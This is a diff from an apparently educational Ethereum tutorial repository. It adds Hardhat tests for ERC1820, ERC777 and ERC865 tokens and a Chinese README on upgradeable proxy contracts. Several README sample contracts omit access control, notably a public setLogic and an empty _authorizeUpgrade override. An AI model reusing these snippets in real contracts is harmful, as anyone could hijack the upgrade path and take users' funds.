fffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029',
+      gasPrice:  ethers.utils.parseUnits("100", "gwei"),
+      gasLimit: 800000
+    }
+    //2. Specify VRS
+    var expandedSig = {
+      v: 27,
+      r: '0x1820182018201820182018201820182018201820182018201820182018201820',
+      s: '0x1820182018201820182018201820182018201820182018201820182018201820'
+    }
+    const signature = ethers.utils.joinSignature(expandedSig);
+    //3. Recover deployer address from above signature
+    const rsTx = await ethers.utils.resolveProperties(deployTx)
+    const raw = ethers.utils.serializeTransaction(rsTx) // returns RLP encoded tx
+    const msgHash = ethers.utils.keccak256(raw) // as specified by ECDSA
+    const msgBytes = ethers.utils.arrayify(msgHash) // create binary hash
+    const recoveredAddress = ethers.utils.recoverAddress(msgBytes, signature)
+    console.log("deployer address:", recoveredAddress)
+    //4. Fund the transaction
+    let fundTx = {to: recoveredAddress, value: ethers.utils.parseEther("0.08")}
+    await (await owner.sendTransaction(fundTx)).wait()
+    console.log(`address ${recoveredAddress} has ${Number(await provider.getBalance(recoveredAddress))} wei`);
+    //5. Send deploy transaction
+    const signedTx = ethers.utils.serializeTransaction(rsTx, signature);
+    const receipt = await (await provider.sendTransaction(signedTx)).wait();
+    console.log("ERC1820 deployed to ", receipt.contractAddress);
+    erc1820 = new ethers.Contract(receipt.contractAddress, abi.abi, provider);
+  });
+ 1
+
+  it('Demo usage', async () => {
+    let user = (await ethers.getSigners())[1];
+    
+    let funcSig = await ethers.utils.keccak256(ethers.utils.toUtf8Bytes('callback(uint256)'));
+    //1. Deploy demo implementer
+    let DemoImplementer = await ethers.getContractFactory("DemoImplementer", user);
+    let demoImplementer = await DemoImplementer.deploy();
+    await demoImplementer.deployed();
+    console.log('demo implementer deployed ')
+    //2. Bind funciton dynamiclly to user
+    await erc1820.connect(user).setInterfaceImplementer(
+      user.address, funcSig, demoImplementer.address, {gasLimit:80000});
+    let implementer = await erc1820.getInterfaceImplementer(user.address, funcSig);
+    expect(implementer).to.equal(demoImplementer.address);
+
+    //3. Deploy && call consumer
+    let DemoConsumer = await ethers.getContractFactory("DemoConsumer");
+    let demoConsumer = await DemoConsumer.deploy();
+    await demoConsumer.deployed();
+    
+    let receipt = await (await demoConsumer.connect(user).doSomething()).wait();
+  })
+
+})
diff --git a/basic/23-erc865-and-erc875/test/test-ERC777Sender.js b/basic/23-erc865-and-erc875/test/test-ERC777Sender.js
new file mode 100644
index 000000000..be1eb1e40
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/test-ERC777Sender.js
@@ -0,0 +1,86 @@
+const { expect } = require('chai');
+
+const erc777SenderAddress = require('../Simple777Sender-address.json');
+const erc777TokenAddress = require('../Simple777Token-address.json');
+
+describe('ERC777 compatible logic', async () => {
+  it('sends from an externally-owned account', async () => {
+    const [deployer, alice] = await ethers.getSigners();
+
+    // Get the abi of Simple777Sender
+    const artifactSimple777Sender =
+      artifacts.readArtifactSync('Simple777Sender');
+
+    // Create contract instance of Simple777Sender
+    const erc777SenderContract = new ethers.Contract(
+      erc777SenderAddress.contractAddress,
+      artifactSimple777Sender.abi,
+      alice
+    );
+
+    console.log('Do senderFor for Alice');
+    const senderInterfaceHash = ethers.utils.keccak256(
+      ethers.utils.toUtf8Bytes('ERC777TokensSender')
+    );
+
+    console.log('senderInterfaceHash = ', senderInterfaceHash);
+
+    await erc777SenderContract.senderFor(alice.address);
+
+    // Get the abi of IERC1820Registry
+    const artifactIERC1820Registry =
+      artifacts.readArtifactSync('IERC1820Registry');
+
+    const ierc1820Registry = '0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24';
+
+    // Create contract instance of Simple777Sender
+    const erc1820Contract = new ethers.Contract(
+      ierc1820Registry,
+      artifactIERC1820Registry.abi,
+      alice
+    );
+
+    // Set InterfaceImplementer
+    console.log('Set InterfaceImplementer for Alice');
+    await erc1820Contract.setInterfaceImplementer(
+      alice.address,
+      senderInterfaceHash,
+      erc777SenderAddress.contractAddress,
+      {
+        gasLimit: 2100000,
+        gasPrice: 8000000000,
+      }
+    );
+
+    // Get the abi of Simple777Sender
+    const artifactSimple777Token = artifacts.readArtifactSync('Simple777Token');
+
+    // Create contract instance of Simple777Sender
+    const erc777TokenContract = new ethers.Contract(
+      erc777TokenAddress.contractAddress,
+      artifactSimple777Token.abi,
+      alice
+    );
+
+    // Check balance before transfer
+    let deployerBalanceBefore = await erc777TokenContract.balanceOf(
+      deployer.address
+    );
+
+    // Do the Transfer
+    console.log('Transfer 100 from Alice to Deployer');
+    const additionalData = ethers.utils.formatBytes32String('777TestData');
+    await erc777TokenContract.send(deployer.address, 100, additionalData);
+    console.log('Transfer Successfully');
+
+    // Check balance after transfer
+    console.log('Check balance after transfer');
+    let deployerBalanceAfter = await erc777TokenContract.balanceOf(
+      deployer.address
+    );
+    expect(Number(deployerBalanceAfter)).to.equal(
+      Number(deployerBalanceBefore) + 100
+    );
+    console.log('Check balance successfully');
+  });
+});
diff --git a/basic/23-erc865-and-erc875/test/test-ERC865.js b/basic/23-erc865-and-erc875/test/test-ERC865.js
new file mode 100644
index 000000000..c74dc8d43
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/test-ERC865.js
@@ -0,0 +1,275 @@
+const { expect } = require('chai');
+
+global.timestamp = Math.floor(Date.now() / 1000) + 20; // now + 60 seconds to allow for further testing when not allowed
+const BigNumber = require('bignumber.js');
+const ethUtil = require('ethereumjs-util');
+//const utils = require('./utils');
+
+const formattedAddress = (address) =>
+  Buffer.from(ethUtil.stripHexPrefix(address), 'hex');
+const formattedInt = (int) => ethUtil.setLengthLeft(int, 32);
+const formattedBytes32 = (bytes) => ethUtil.addHexPrefix(bytes.toString('hex'));
+const hashedTightPacked = (args) => ethUtil.keccak256(Buffer.concat(args));
+
+describe('ERC865 compatible logic', async () => {
+  let owner;
+  let alice;
+  let bob;
+  let charlie;
+  let dTokenOwner;
+
+  beforeEach(async function () {
+    // get addresses
+    [owner, alice, bob, charlie] = await hre.ethers.getSigners();
+
+    // Deploy DToken contract
+    const dTokenContractFactory = await ethers.getContractFactory('DToken');
+    dTokenOwner = await dTokenContractFactory.deploy(
+      'HEHE',
+      'HH',
+      1,
+      100000000
+    );
+
+    // Transfer 5000 tokens from owner to addr1
+    await dTokenOwner.transfer(alice.address, 5000);
+  });
+
+  it('Charlie transfers 100 tokens from Alice to Bob (fee=10)', async () => {
+    // target address for the transfer
+    const to = bob.address;
+    // delegate address who will do the transfer actually
+    const delegate = charlie.address;
+    // delegate fee
+    const fee = 1;
+    // transfer amount to the target address
+    const amount = 10;
+
+    let components;
+
+    // use for transaction , each time, it should be different
+    let nonce;
+
+    // Before transaction, get the balance of alice
+    let oldAliceBalance = await dTokenOwner.balanceOf(alice.address);
+
+    // nonce = await web3.eth.getTransactionCount(alice.address);
+    nonce = 1;
+
+    // Assembling the transfer info
+    components = [
+      /* "0d98dcb1": getTransferPreSignedHash(address,address,uint256,uint256,uint256) */
+      Buffer.from('0d98dcb1', 'hex'),
+      formattedAddress(dTokenOwner.address),
+      formattedAddress(to),
+      formattedInt(amount),
+      formattedInt(fee),
+      formattedInt(nonce),
+    ];
+
+    let messageHash = hashedTightPacked(components);
+    let message_bytes = ethers.utils.arrayify(messageHash);
+
+    // Sign the message_bytes by alice
+    let sig = await alice.signMessage(message_bytes);
+
+    //Switch to charlie
+    let dTokenCharlie = dTokenOwner.connect(charlie);
+    await dTokenCharlie.transferPreSigned(sig, to, amount, fee, nonce);
+
+    // After transaction, get the balance of alice, bob, charlie
+    let aliceBalance = await dTokenOwner.balanceOf(alice.address);
+    let bobBalance = await dTokenOwner.balanceOf(bob.address);
+    let charlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    //alice balance should be propsInWallet - (amount + fee) = 4989
+    expect(Number(aliceBalance)).to.equal(oldAliceBalance - (amount + fee));
+
+    // Bob balance should be amount = 10
+    expect(Number(bobBalance)).to.equal(amount);
+
+    // Charlie balance should be fee = 1
+    expect(Number(charlieBalance)).to.equal(fee);
+  });
+
+  it('Alice approves Bob to spend 100 tokens on behalf of Alice (fee=1)', async () => {
+    //Get balance before transaction
+    const oldAliceBalance = await dTokenOwner.balanceOf(alice.address);
+    const oldCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // nonce = await web3.eth.getTransactionCount(alice.address);
+    let nonce = 1;
+    let allowance = 100;
+    let fee = 1;
+    let components;
+
+    components = [
+      // /* "79250dcf": getApprovePreSignedHash(address,address,uint256,uint256,uint256) */
+      Buffer.from('79250dcf', 'hex'),
+      formattedAddress(dTokenOwner.address),
+      formattedAddress(bob.address),
+      formattedInt(allowance),
+      formattedInt(fee),
+      formattedInt(nonce),
+    ];
+
+    let messageHash = hashedTightPacked(components);
+    let message_bytes = ethers.utils.arrayify(messageHash);
+
+    // Sign the message_bytes by alice
+    let sig = await alice.signMessage(message_bytes);
+
+    //Switch to charlie
+    let dTokenCharlie = dTokenOwner.connect(charlie);
+    await dTokenCharlie.approvePreSigned(
+      sig,
+      bob.address,
+      allowance,
+      fee,
+      nonce
+    );
+
+    // After transaction, get the balance of alice, bob, charlie
+    let newAliceBalance = await dTokenOwner.balanceOf(alice.address);
+    let newBobBalance = await dTokenOwner.balanceOf(bob.address);
+    let newCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // Bob balance should be amount = 10
+    expect(Number(newAliceBalance)).to.equal(Number(oldAliceBalance) - fee);
+
+    // Charlie balance should be fee = 1
+    expect(Number(newCharlieBalance)).to.equal(Number(oldCharlieBalance) + fee);
+
+    //Check tha allow bob from alice
+    let bobAllowance = await dTokenOwner.allowance(alice.address, bob.address);
+    expect(bobAllowance).to.equal(allowance);
+  });
+
+  it('Bob transfer allowed balance from Alice to Charlie (fee=1)', async () => {
+    // Transfer 100 tokens from owner to addr1
+    await dTokenOwner.transfer(bob.address, 100);
+
+    // //Switch to charlie
+    let dTokenAlice = dTokenOwner.connect(alice);
+    // Allow bob to transfer 1000 from alice
+    await dTokenAlice.approve(bob.address, 1000);
+
+    //Get balance before transaction
+    const oldAliceBalance = await dTokenOwner.balanceOf(alice.address);
+    const oldBobBalance = await dTokenOwner.balanceOf(bob.address);
+    const oldCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // nonce = await web3.eth.getTransactionCount(alice.address);
+    let nonce = 1;
+    let value = 20;
+    let fee = 1;
+    let components;
+
+    components = [
+      // /* "a70c41b4": getTransferFromPreSignedHash(address,address,address,uint256,uint256,uint256) */
+      Buffer.from('a70c41b4', 'hex'),
+      formattedAddress(dTokenOwner.address),
+      formattedAddress(alice.address),
+      formattedAddress(charlie.address),
+      formattedInt(value),
+      formattedInt(fee),
+      formattedInt(nonce),
+    ];
+
+    let messageHash = hashedTightPacked(components);
+    let message_bytes = ethers.utils.arrayify(messageHash);
+
+    // Sign the message_bytes by bob
+    let sig = await bob.signMessage(message_bytes);
+
+    //Switch to charlie
+    let dTokenCharlie = dTokenOwner.connect(charlie);
+    await dTokenCharlie.transferFromPreSigned(
+      sig,
+      alice.address,
+      charlie.address,
+      value,
+      fee,
+      nonce
+    );
+
+    // After transaction, get the balance of alice, bob, charlie
+    let newAliceBalance = await dTokenOwner.balanceOf(alice.address);
+    let newBobBalance = await dTokenOwner.balanceOf(bob.address);
+    let newCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // Alice balance should be : oldAliceBalance - value
+    expect(Number(newAliceBalance)).to.equal(Number(oldAliceBalance) - value);
+
+    // Bob balance should be : oldBobBalance - fee
+    expect(Number(newBobBalance)).to.equal(Number(oldBobBalance) - fee);
+
+    // Charlie balance should be oldCharlieBalance + value + fee
+    expect(Number(newCharlieBalance)).to.equal(
+      Number(oldCharlieBalance) + value + fee
+    );
+  });
+
+  it('Alice decrease Bob allowance by Charlie (fee=1)', async () => {
+    // //Switch to charlie
+    const dTokenAlice = dTokenOwner.connect(alice);
+    // Allow bob to transfer 1000 from alice
+    await dTokenAlice.approve(bob.address, 1000);
+
+    //Get allowance before transaction
+    const oldBobAllowance = await dTokenOwner.allowance(
+      alice.address,
+      bob.address
+    );
+
+    //Get balance before transaction
+    const oldCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // nonce = await web3.eth.getTransactionCount(alice.address);
+    let nonce = 1;
+    let decreaseValue = 100;
+    let fee = 1;
+    let components;
+
+    components = [
+      // /* "5229c56f": getDecreaseAllowancePreSignedHash(address,address,uint256,uint256,uint256) */
+      Buffer.from('5229c56f', 'hex'),
+      formattedAddress(dTokenOwner.address),
+      formattedAddress(bob.address),
+      formattedInt(decreaseValue),
+      formattedInt(fee),
+      formattedInt(nonce),
+    ];
+
+    let messageHash = hashedTightPacked(components);
+    let message_bytes = ethers.utils.arrayify(messageHash);
+
+    // Sign the message_bytes by alice
+    let sig = await alice.signMessage(message_bytes);
+
+    //Switch to charlie
+    let dTokenCharlie = dTokenOwner.connect(charlie);
+    await dTokenCharlie.decreaseAllowancePreSigned(
+      sig,
+      bob.address,
+      decreaseValue,
+      fee,
+      nonce
+    );
+
+    // After transaction, get the allowance of bob
+    let newBobAllowance = await dTokenOwner.allowance(
+      alice.address,
+      bob.address
+    );
+    let newCharlieBalance = await dTokenOwner.balanceOf(charlie.address);
+
+    // Bob balance should be amount = 10
+    expect(Number(newBobAllowance)).to.equal(
+      Number(oldBobAllowance) - decreaseValue
+    );
+
+    // Charlie balance should be oldCharlieBalance + fee
+    expect(Number(newCharlieBalance)).to.equal(Number(oldCharlieBalance) + fee);
+  });
+});
diff --git a/basic/24-upgradeable-contract/.env.example b/basic/24-upgradeable-contract/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/24-upgradeable-contract/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/.gitignore b/basic/24-upgradeable-contract/.gitignore
new file mode 100644
index 000000000..aac439288
--- /dev/null
+++ b/basic/24-upgradeable-contract/.gitignore
@@ -0,0 +1,7 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
+*.json
diff --git a/basic/24-upgradeable-contract/README.md b/basic/24-upgradeable-contract/README.md
new file mode 100644
index 000000000..b76fdd558
--- /dev/null
+++ b/basic/24-upgradeable-contract/README.md
@@ -0,0 +1,372 @@
+# Upgradeable Contract
+
+## 前言
+
+区块链信任基础的数据不可修改的特性, 让它传统应用程序有一个很大的不同的地方是一经发布于区块链上就无法修改.  
+一方面正是由于智能合约的不可修改的特性, 因为只要规则确定之后, 没人能够修改它, 大家才能够信任它. 但另一方面, 如果规则的实现有 Bug, 可能会造成代币被盗, 或是调用消耗大量的 gas. 这时就需要我们去修复错误.  
+这里介绍两种可升级的合约开发模式.
+
+## 方式一合约功能说明
+
+- DataContract
+
+  - platform: 权限修饰器, 指定只有拥有权限的用户才能调用此合约
+  - allowAccess: 给其他用户增加权限
+  - denyAccess: 取消其他用户的权限
+  - setBalance: 设置一个用户的余额, 同时这个接口指定了只有拥有权限的用户才能调用此接口
+  - getBalance: 这是一个公共的接口, 任何用户都可以调用此接口
+
+- ControlContract
+  - constructor: 在部署合约的时候需要传入 DataContract 的合约地址进行加载
+  - setBalance: 内部调用 DataContract 合约的 setBalance 接口, 中间可以加入对应的业务逻辑
+  - getBalance: 调用 DataContract 合约的 getBalance 接口获取账户余额
+
+## 测试步骤
+
+- 安装依赖
+
+```sh
+yarn
+```
+
+- 执行测试
+
+```sh
+npx hardhat test
+```
+
+### controlContract_test.js 主逻辑说明
+
+controlContract_test.js 在 test 目录, 执行 `npx hardhat test` 的时候就会自动执行这个测试脚本.
+
+脚本中有三个单元测试用例.
+
+- 第一个用例是 DataContract 合约的调用, 用于验证只有有权限的用户才能调用合约.
+- 第二个用例是 ControlContract 调用 DataContract 合约的接口, 用于验证没有权限的用户不能调用合约.
+- 第三个用例是 DataContract 合约的部署者赋权给 ControlContract 后, ControlContract 可以调用 DataContract 接口, 这样一来, 当业务逻辑有变动的时候, 只需要重新部署一个新的 ControlContract 合约, 然后进行赋权,
+  就可以实现合约的升级改造.
+
+## 方式二 OpenZeppelin Upgrades 合约功能说明
+
+方式一如果需要对实现合约方法进行任何更改，那么我们也需要更新代理合约的方法（因为代理合约具有接口方法）。因此，用户同样需要更改代理合约地址。
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/24-upgradeable-contract/proxy.png?raw=true" /></center>
+
+代理合约模式
+```
+delegatecall
+User ---------->  Proxy  -----------> Implementation
+             (storage layer)          (logic layer)
+```
+
+```solidity
+// Sample code, do not use in production!x
+contract TransparentAdminUpgradeableProxy {
+    address implementation;
+    address admin;
+
+    fallback() external payable {
+        require(msg.sender != admin);
+        implementation.delegatecall.value(msg.value)(msg.data);
+    }
+
+    function upgrade(address newImplementation) external {
+        if (msg.sender != admin) fallback();
+        implementation = newImplementation;
+    }
+}
+```
+
+要解决此问题，我们可以在代理合约中使用 fallback 回退函数。 fallback 函数将执行任何请求，将请求重定向到实现合约并返回结果值。这与以前的方法类似，但是这里的代理合约没有接口方法，只有 fallback 回退函数，因此，如果更改合约方法，则无需更改代理地址。
+
+### 深度理解 delegatecall
+
+```solidity
+assembly {
+    // 获得自由内存指针
+    let ptr := mload(0x40)
+    // 复制 calldata 到内存中
+    calldatacopy(ptr, 0, calldatasize)
+    // 使用 delegatecall 处理 calldata
+    let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
+    // 返回值大小
+    let size := returndatasize
+    // 把返回值复制到内存中
+    returndatacopy(ptr, 0, size)
+
+    switch result
+    case 0 { revert(ptr, size) } // 执行失败
+    default { return(ptr, size) } // 执行成功，返回内存中的返回值
+}
+```
+
+1. 可以传递 msg.sender
+2. 可以改变同一存储槽中的内容
+
+delegatecall 并不通过变量名称来修改变量值，而是修改变量所在的存储槽。
+在 solidity 中，内存槽中的 0x40 位置是很特殊的，因为它存储了指向下一个可用自由内存的指针。每次当你想往内存里存储一个变量时，你都要检查存储在 0x40 的值。这就是你变量即将存放的位置。现在我们知道了我们要在哪儿存变量，我们就可以使用 calldatacopy，把大小为 calldatasize 的 calldata 从 0 开始复制到 ptr 指向的那个位置了。
+
+```solidity
+let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
+```
+
+解释一下上面的参数：
+
+- gas：函数执行所需的 gas
+- _impl：我们调用的逻辑合约的地址
+- ptr：内存指针（指向数据开始存储的地方）
+- calldatasize：传入的数据大小
+- 0：调用逻辑合约后的返回值。我们没有使用这个参数因为我们还不知道返回值的大小，所以不能把它赋值给一个变量。我们可以后面可以进一步使用 returndata 操作码来获取这些信息。
+- 0：返回值的大小。这个参数也没有被使用因为我们没有机会创造一个临时变量用来存储返回值。鉴于我们在调用其他合约之前无法知道它的大小（所以就无法创造临时变量呀）。我们稍后可以用 returndatasize 操作码来得到这个值。
+
+样例参考：
+
+```solidity
+pragma solidity ^0.4.24;
+
+contract proxy {
+
+    address public logicAddress;
+
+    function setLogic(address _a) public {
+        logicAddress = _a;
+    }
+
+    function delegateCall(bytes data) public {
+        this.call.value(msg.value)(data);
+    }
+
+    function () payable public {
+        address _impl = logicAddress;
+        require(_impl != address(0));
+
+        assembly {
+            let ptr := mload(0x40)
+            calldatacopy(ptr, 0, calldatasize)
+            let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
+            let size := returndatasize
+            returndatacopy(ptr, 0, size)
+
+        switch result
+            case 0 { revert(ptr, size) }
+            default { return(ptr, size) }
+        }
+
+    }
+
+    function getPositionAt(uint n) public view returns (address) {
+        assembly {
+            let d := sload(n)
+            mstore(0x80, d)
+            return(0x80,32)
+      }
+    }
+
+}
+
+contract logic {
+    address public a;
+    function setStorage(address _a) public {
+        a = _a;
+    }
+}
+
+```
+
+### 通用可升级代理
+```
+upgrade call
+Admin -----------> Proxy ----->Implementation_v1
+                     |
+                      --------> Implementation_v2
+```
+
+
+透明代理和 UUPS代理 的区别在于， 升级逻辑就在是实现在代理合约，还是实现合约里。
+
+#### Transparent Proxy
+透明代理（EIP1967）升级逻辑 由代理合约处理， 必须调用 upgradeTo(address newImpl), 这样的函数来升级一个新的实现合约。 然后这个逻辑放在代理合约里，部署这类代理的成本很高。透明代理还需要管理机制来决定是委托调用 实现合约 的功能，还是执行代理合约本身的功能。
+
+TransparentProxy 模式在升级的时候，需要调用 ProxyAdmin 的升级函数。而 UUPS 模式在升级时，需要调用代理合约的升级函数。后者相比于前者少部署一个合约。
+
+
+```
+
+                ProxyAdmin
+                   |
+                   |   delegatecall
+EOA -----------> Proxy ------------>Implementation_v1
+                     |
+                      ------------->Implementation_v2
+```
+
+#### UUPS
+UUPS 是 OpenZeppelin 在近期推出的一种新的合约升级模式，EIP1822 定义了通用的可升级代理标准，或简称为“ UUPS”。该标准使用相同的委托调用模式，但是将升级逻辑放在实现合约中，而不是在代理本身中。 即 upgradeTo(address newImpl)函数放在 实现合约里。 你可以通过让它继承一个包含升级逻辑的通用标准接口来使任何实现合约符合UUPS标准，比如继承 OpenZeppelin的 UUPSUpgradeable接口。 建议使用此模式。
+
+若要支持 UUPS 的升级模式，需要做以下几点改动：
+
+1. 逻辑合约需继承 UUPSUpgradeable 合约
+2. 覆写 _authorizeUpgrade 函数
+
+    这里有一个重点是，由于 TransparentProxy 模式是由 ProxyAdmin 进行管理，也就是说只有 ProxyAdmin 有权限进行升级，那么我们只要保证 ProxyAdmin 合约的管理员权限安全即可保证整个可升级架构安全。而对于 UUPS 模式来说，升级合约的逻辑是需要调用代理合约的，这时的权限管理就需要开发者手动处理。具体来说，就是对于我们覆写的 _authorizeUpgrade 函数，需要加上权限管理：
+
+```
+// 需要继承 UUPSUpgradeable 合约
+contract Demo is Initializable, UUPSUpgradeable {
+    uint256 public a;
+
+    function initialize(uint256 _a) public initializer {
+        a = _a;
+    }
+
+    function increaseA() external {
+        a += 10;
+    }
+
+    // 覆写 _authorizeUpgrade 函数
+    function _authorizeUpgrade(address) internal override {}
+}
+```
+
+UUPS:
+```solidity
+
+// Sample code, do not use in production!
+contract UUPSProxy {
+    address implementation;
+    fallback() external payable {
+        implementation.delegatecall.value(msg.value)(msg.data);
+    }
+}
+abstract contract UUPSProxiable {
+    address implementation;
+    address admin;
+
+    function upgrade(address newImplementation) external {
+        require(msg.sender == admin);
+        implementation = newImplementation;
+    }
+}
+
+```
+
+### 实战 TransparentUpgradeableProxy demo  
+
+#### 首次部署
+
+需要部署三个合约，分别是逻辑合约，ProxyAdmin，TransparentUpgradeProxy。
+逻辑合约就是我们自己的业务合约，需要满足 OpenZeppelin 可升级合约的条件。ProxyAdmin 代理持有状态，而逻辑合约实现合约提供代码
+
+1. 业务合约 Params 部署（先不进行初始化，initialize，本方法对应的 code 为 0x8129fc1c ）
+2. ProxyAdmin 管理合约部署，代理合约的管理员
+3. TransparentUpgradeableProxy 代理合约，此为用户直接交互的合约地址，一直不变；
+
+部署需要参数，如下:
+
+- \_LOGIC: 逻辑合约地址，步骤 1；
+- ADMIN\_: 管理合约地址，步骤 2；
+- \_DATA: 逻辑合约初始化方法调用数据，这里为 0x8129fc1c（只调用 initialize 方法，initialize 方法没有入参，如果有参数也是支持的）
+
+合约升级：
+
+1. 逻辑合约 Params 升级为 ParamsNew;
+2. 调用 ProxyAdmin 进行升级;
+
+ProxyAdmin 提供两个方法进行升级
+
+- upgrade，需要传入 proxy 地址，新的逻辑实现地址;
+- upgradeAndCall，需要传入 proxy 地址，新的逻辑实现地址，初始化调用数据
+  本例中，由于数据是保存在代理合约中，这份数据已经初始化过了，不需要再初始化，所以调用 upgrade 方法即可。
+  proxy: TransparentUpgradeableProxy 代理合约地址；
+  implementation: ParamsNew 合约地址
+
+**注意事项**。
+
+- 可升级合约的存储不能乱，即：只能新增存储项，不能修改顺序。这种限制只影响状态变量。你可以随心所欲地改变合约的功能和事件。
+- 不能有构造函数，使用 Initialize 合约替代，通过在方法上添加 initializer 标签，确保只被初始化一次。
+- 继承的父合约也需要能满足升级，本例中的 Ownable 采用 OwnableUpgradeable，支持升级
+- 可使用 OpenZeppelin 插件验证合约是否为可升级合约，以及升级时是否有冲突
+
+![Alt text](image.png)
+https://blog.logrocket.com/using-uups-proxy-pattern-upgrade-smart-contracts/ 
+### 升级到 Gonsis 合约
+
+代理的管理员（可以执行升级）是 ProxyAdmin 合约。 只有 ProxyAdmin 的所有者可以升级代理。可以调用：proxyadmin.transferOwnership 转移到自己的多签合约地址上。
+
+
+### 实战 UUPS demo  
+https://eips.ethereum.org/EIPS/eip-1822
+
+UUPS 升级方法在逻辑合约里，相比透明代理无需部署proxyadmin合约，减少了一个合约的部署。
+但是逻辑合约里要实现_authorizeUpgrade方法。
+
+```
+function _authorizeUpgrade(address newImplementation) internal override virtual {
+        require(msg.sender == owner, "Unauthorized Upgrade");
+    }
+```
+
+具体可以参考此教程：
+https://medium.com/@pearliboy1/how-to-implement-an-upgradeable-smart-contract-with-uups-242c57f671ee
+
+### 钻石代理模式
+https://eips.ethereum.org/EIPS/eip-2535
+合约大小目前限制在24KB，这个就比较难解决，一般是使用库函数和业务拆解成多个合约，但是不是所有的业务都适合，并且拆解难度也很大，最后很可能造成代码结构过于复杂。
+在这个场景下，就提出了EIP-2535。
+一个Proxy有多个Implementation合约，做法就是改造fallback，之前的proxy模式都是fallback到一个固定的实现合约，Diamond把fallback函数改造成根据函数签名，把delegatecall路由到不同的Implementation合约，这样Implementation合约的数量基本就没有限制了。一个合约可以有多个实现，就像一个钻石可以有很多个切面，这就是Diamond名字的来源。
+所以原理上就是通过函数签名把调用路由到不同的Implementation合约。
+那我们就需要记录这个路由表，并且能有方法暴露这个路由表进行查看和管理。这个在Diamond的标准实现里是实现了一个DiamondCutFacet，这个合约会保存这个路由表，并由LibDiamond库实现了维护这张路由表的方法（增删改查）。
+
+#### Diamond 概念介绍
+Diamond其实就是proxy合约，负责数据存储和通过fallback函数转发函数调用到实现合约。这一点和别的proxy合约没有什么质的区别。一般我们不会再手动构造这个合约，直接使用标准合约即可。核心功能：
+
+根据路由表执行的fallback函数
+初始化Diamond
+Diamond -> Proxy
+Facet(s) -> Implementation(s)
+Cut -> Upgrade
+Loupe -> Function list
+
+
+配置diamondCutFacet，给Diamond增加diamondCut方法;
+配置loupe，给Diamond增加loupe相关方法;
+配置ERC165，给Diamond增加ERC165（supportInterfaces）相关支持;
+配置ERC173，给Diamond增加ERC173（ownership）相关支持; 
+
+参考文章： https://juejin.cn/post/7179066816419856443
+
+#### 实操
+https://guides.quicknode.com/guides/ethereum-development/smart-contracts/the-diamond-standard-eip-2535-explained-part-2
+https://louper.dev/
+
+
+### ds-proxy
+https://github.com/dapphub/ds-proxy?tab=readme-ov-file
+https://dapp.tools/ 
+
+## 参考文档
+
+- 如何编写一个可升级的智能合约(登链): <https://zhuanlan.zhihu.com/p/34690916>
+- openzeppelin: <https://blog.openzeppelin.com/proxy-patterns/>
+- 深入理解合约升级mirror: https://mirror.xyz/xyyme.eth/kM9ld2u0D1BpHAfXTiaSPGPtDnOd6vrxJ5_tW4wZVBk
+- 全面理解智能合约升级： https://blog.openzeppelin.com/the-state-of-smart-contract-upgrades/ 
+- proxy 升级: <https://learnblockchain.cn/article/2758>
+- UUPS： https://segmentfault.com/a/1190000041731293
+- 深度理解 delegatecall: <https://segmentfault.com/a/1190000015732950>
+- gnosis 升级： <https://learnblockchain.cn/article/1403>
+- 知乎王大锤：<https://zhuanlan.zhihu.com/p/40598039>
+- 知乎王大锤：<https://zhuanlan.zhihu.com/p/40598169>
+- 合约代码：<https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/tree/master/contracts/proxy>
+- openzeppelin test: <https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable>
+- openzeppelin: <https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies>
+- openzeppelin: <https://blog.openzeppelin.com/proxy-patterns/>
+- testcase: <https://forum.openzeppelin.com/t/openzeppelin-upgrades-step-by-step-tutorial-for-truffle/3579>
+- 原理介绍：<https://www.jianshu.com/p/3fa12d7ed76d>
+- compound: 合约升级
+- MinimalProxy: <https://github.com/optionality/clone-factory>
+- creat2 contract upgrade: https://github.com/0age/metamorphic
+- 钻石代理：https://juejin.cn/post/7179066816419856443
+- The Diamond Standard : https://www.quicknode.com/guides/ethereum-development/smart-contracts/the-diamond-standard-eip-2535-explained-part-1
+- Proxy contract设计总览： https://medium.com/taipei-ethereum-meetup/proxy-contract-variations-6f9d359d35bf
+- Diamond hardhat: https://github.com/mudgen/diamond-1-hardhat/tree/main
